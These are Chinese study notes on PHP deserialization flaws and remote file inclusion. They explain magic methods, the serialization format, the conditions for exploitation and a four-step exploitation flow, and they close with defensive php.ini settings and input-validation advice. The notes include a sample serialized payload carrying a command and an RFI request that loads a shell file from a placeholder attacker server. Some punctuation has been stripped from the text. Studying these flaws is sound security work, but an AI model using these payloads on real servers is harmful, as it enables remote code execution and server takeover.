PHP反序列化安全核心重点总结
一、PHP面向对象核心漏洞基础类与对象类用class定义是属性方法的抽象模板对象new实例化后的实体。属性类的成员变量用public/protected/private修饰类内用$this-属性名调用。方法类的成员函数分普通方法手动调用和魔术方法自动触发。魔术方法关键命名以__双下划线开头PHP内置无需手动调用。漏洞核心触发点__wakeup()反序列化时自动触发最常用。__destruct()对象销毁时自动触发隐蔽性极高。__construct()实例化时触发反序列化不触发。二、序列化与反序列化核心机制定义序列化serialize($对象)→ 对象转字符串用于传输/存储。反序列化unserialize($字符串)→ 字符串还原为对象。安全本质序列化/反序列化本身无风险风险源于无校验反序列化魔术方法危险函数。序列化格式示例O:4:Show:1:{s:3:cmd;s:4:calc;}O对象4类名长度Show类名1属性数s字符串类型数字长度。三、PHP反序列化漏洞核心考点漏洞定义攻击者控制反序列化输入触发魔术方法执行高危函数导致远程代码执行RCE。触发三要素缺一不可反序列化参数完全可控、无任何校验。目标类存在可自动触发的魔术方法。魔术方法内调用可控参数的高危危险函数。利用四步流程复刻目标危险类 → 2. 赋值恶意命令 → 3. 序列化生成Payload → 4. 抓包替换触发。四、高危危险函数漏洞突破口系统命令执行system直接输出、exec隐蔽执行。PHP代码执行eval一句话木马核心、assert。文件包含include、require可导致远程文件包含漏洞。五、远程文件包含漏洞RFI原理include/require参数可控无校验直接包含远程恶意文件。利用?filehttp://攻击者服务器/shell.txt。危害直接RCE服务器被控。六、漏洞防御方案必记禁用高危函数修改php.inidisable_functions禁用eval、system、exec等。反序列化白名单仅允许合法类反序列化拒绝未知类。严格校验输入过滤恶意关键字、限制长度、校验数据类型。关闭远程包含php.ini设置allow_url_include Off。七、核心安全结论反序列化漏洞公式无校验反序列化 自动魔术方法 可控危险函数 漏洞。Web安全黄金法则永远不信任用户输入。漏洞根源开发者安全疏忽而非技术本身问题。